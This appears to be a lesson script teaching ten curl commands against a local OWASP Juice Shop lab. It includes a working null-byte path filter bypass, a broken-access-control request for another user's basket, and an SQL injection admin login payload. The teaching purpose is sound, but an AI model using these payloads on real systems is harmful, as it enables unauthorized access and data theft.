The 10 Commands · lesson 7 · 2026-10-08
The 10 curl Commands Every Security Tester Uses in 2026
Before you start
- OWASP Juice Shop (a deliberately vulnerable practice app) from the
bkimminich/juice-shopDocker image, bound to 127.0.0.1:3000. - A demo user’s login token saved to
token.txtin your working folder. curlandjq(both preinstalled on Kali).- A writable working folder: the lesson downloads
acquisitions.mdinto the current folder. - Only test systems you own or are authorized to test.
Every web app you have ever used will tell you things it should not, if you ask it the right way. No browser, no scanner, no special tools. Just curl, and ten commands that every security tester types on day one.
Today we run all ten for real, against O-WASP Juice Shop, a deliberately vulnerable web app running only on this machine. By the last command, we will log in as the administrator without knowing the password.
Number one. The plainest request there is.
1 — Just ask
curl http://127.0.0.1:3000/rest/admin/application-version
| Part | What it does |
|---|---|
curl |
send one web request from the terminal |
http://… |
the exact address to ask for |
With no options at all, curl sends a simple request for a page and prints whatever comes back. Testers start here because apps often answer questions nobody thought to lock down.
Run it.
The exact software version, handed to a stranger with no login. An attacker’s very next step is to look up every known bug in that version.
Number two. That was the body. The headers often say even more.
2 — Headers only
curl -I http://127.0.0.1:3000
| Part | What it does |
|---|---|
-I |
ask for the headers only, skip the page |
Headers are the labels a server attaches to every reply. They reveal which security protections are switched on, how the app caches things, and sometimes notes the developers left for whoever looks.
Run it.
Look at X Recruiting. A developer left a hidden message in every single response. Harmless here, but it proves that headers are worth reading line by line.
Number three. When something does not behave, you need to see the whole conversation.
3 — Verbose mode
curl -v http://127.0.0.1:3000/…
| Part | What it does |
|---|---|
-v |
verbose: show what was sent and received |
> lines |
what curl sent |
< lines |
what the server replied |
Verbose mode prints both sides. Lines starting with an arrow pointing right are what curl sent. Lines pointing left are what the server sent back. This is how you debug every other command in this list.
Run it.
curl -v http://127.0.0.1:3000/rest/admin/application-version
Notice the user agent line. Every request curl sends announces itself as curl, and a well-run server’s logs will show it.
Number four. Sometimes the page you asked for is not the page you get.
4 — Follow redirects
curl -sIL http://127.0.0.1:3000/api-docs
| Part | What it does |
|---|---|
-s |
silent: hide the progress meter |
-I |
headers only |
-L |
follow redirects to the final page |
By default, curl stops at a redirect and shows you the detour sign instead of the destination. Dash L tells it to keep going, and combined with headers only, you see every hop along the way.
Run it.
curl -sIL http://127.0.0.1:3000/api-docs | grep -iE '^HTTP|^location'
A three oh one redirect, then a two hundred. And the page at the end is API documentation, a full map of the app’s back end, left open to the public.
Number five. Reading a file on screen is fine. Keeping a copy is evidence.
5 — Save to a file
curl -s -o acquisitions.md http://…/ftp/acquisitions.md
| Part | What it does |
|---|---|
-o name |
save the reply to a file with this name |
/ftp/ |
a public file folder this app exposes |
Dash o writes the response straight to a file instead of the screen. This app has a public folder called f t p, and one file in it has a very interesting name.
Run it, then read the first lines.
curl -s -o acquisitions.md http://127.0.0.1:3000/ftp/acquisitions.md && head -n 6 acquisitions.md
Confidential, do not distribute. Planned company acquisitions, sitting in a folder anyone on the internet can download from.
Number six. Not every file in that folder gives up so easily.
6 — Print the status code
curl -s -o /dev/null -w "%{http_code}\n" …
| Part | What it does |
|---|---|
-o /dev/null |
throw the body away |
-w |
print a value after the request |
%{http_code} |
the status code: 200, 403, 404… |
Dash w lets you print just the facts you care about. Here we throw the page away and print only the status code, which is how testers check hundreds of addresses quickly.
Run it against a backup file in the same folder.
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/ftp/package.json.bak
Four oh three, forbidden. The server only allows files ending in dot m d or dot p d f. So the backup is blocked. Or is it?
Number seven. The filter checks the name. So we change what the name looks like.
7 — Encode the path
curl -s http://…/ftp/package.json.bak%2500.md
| Part | What it does |
|---|---|
%25 |
an encoded percent sign |
%2500 |
decodes to %00, a null byte |
.md |
what the filter sees at the end |
Curl sends the address exactly as you type it. The filter sees a name ending in dot m d and lets it through. But that encoded null byte tells the server the real filename ended right before it. This is a classic filter bypass.
Run it.
curl -s "http://127.0.0.1:3000/ftp/package.json.bak%2500.md" | head -n 4
The forbidden backup file, delivered. One check, defeated by one encoded character. Filters that look at names instead of real files fail exactly like this.
Number eight. Everything so far was anonymous. Now we log in, and look where we should not.
8 — Send a header
curl -H "Authorization: Bearer $(cat token.txt)" …/rest/basket/1
| Part | What it does |
|---|---|
-H |
add your own header to the request |
Bearer … |
our login token, proving who we are |
/basket/1 |
a basket that belongs to someone else |
Dash H adds any header you like. Here it carries the login token for our own ordinary account. Our basket is number six. We are going to ask for basket number one instead.
Run it.
curl -s -H "Authorization: Bearer $(cat token.txt)" http://127.0.0.1:3000/rest/basket/1 | jq -c '{basket: .data.id, owner: .data.UserId, items: [.data.Products[].name]}'
Another customer’s basket, item by item. The app checked that we were logged in, but never checked that the basket was ours. That is broken access control, number one on the O-WASP Top Ten.
Number nine. Sending data, the way a login form does.
9 — Post data
curl -H "Content-Type: application/json" -d '{…}' …/login
| Part | What it does |
|---|---|
-d |
send data in the body, as a POST |
Content-Type |
tell the server the data is JSON |
email, password |
the two fields of the login form |
Dash d turns the request into a POST and sends whatever you give it, exactly like pressing submit on a form. We try the administrator’s email with a guessed password.
Run it.
curl -s -H "Content-Type: application/json" -d '{"email":"admin@juice-sh.op","password":"guess"}' http://127.0.0.1:3000/rest/user/login
Invalid email or password. Good, the login works the way it should. With normal input, anyway.
Number ten. Same command, same login. One change to the email field.
10 — Inject through -d
curl … -d "{\"email\":\"' OR 1=1--\", …}" …/login
| Part | What it does |
|---|---|
' |
breaks out of the database query |
OR 1=1 |
a condition that is always true |
-- |
ignore the rest, including the password |
This app glues our email straight into a database query. The quote closes the email early. OR one equals one makes the condition always true. And the two dashes tell the database to ignore everything after, including the password check. That is SQL injection.
Run it, and ask which account we got.
curl -s -H "Content-Type: application/json" -d "{\"email\":\"' OR 1=1--\",\"password\":\"x\"}" http://127.0.0.1:3000/rest/user/login | jq -r .authentication.umail
Logged in as admin, with a password of x. The app handed over a real administrator token. One quote character in a form field, and the whole store belongs to us.
So that is the full set, and look at how far ten commands went.
What ten curl commands found
- A version leak and a hidden header
- Open API docs and a confidential file
- A blocked backup, bypassed with one character
- Another user’s data, then a full admin login
We started by just asking politely and got a software version. Headers, redirects and saved files exposed more. One encoded character beat a file filter, one header reached someone else’s data, and one quote made us administrator. Every one of those was plain curl.
And the rule that outranks every command here.
Before you go
- Only test apps you own or are authorized to test
- Practice on deliberately vulnerable labs like Juice Shop
- Developers: run these against your own app before attackers do
- Full beginner web security course linked below
Everything today ran against a deliberately vulnerable app on this machine only. Only ever point these commands at systems you own or have written permission to test. If you build web apps, run all ten against your own before someone else does.
If you want each of these flaws explained from zero, our free web application security course is linked below. Subscribe so you do not miss the next ten. Thanks for learning with The Exploit HQ.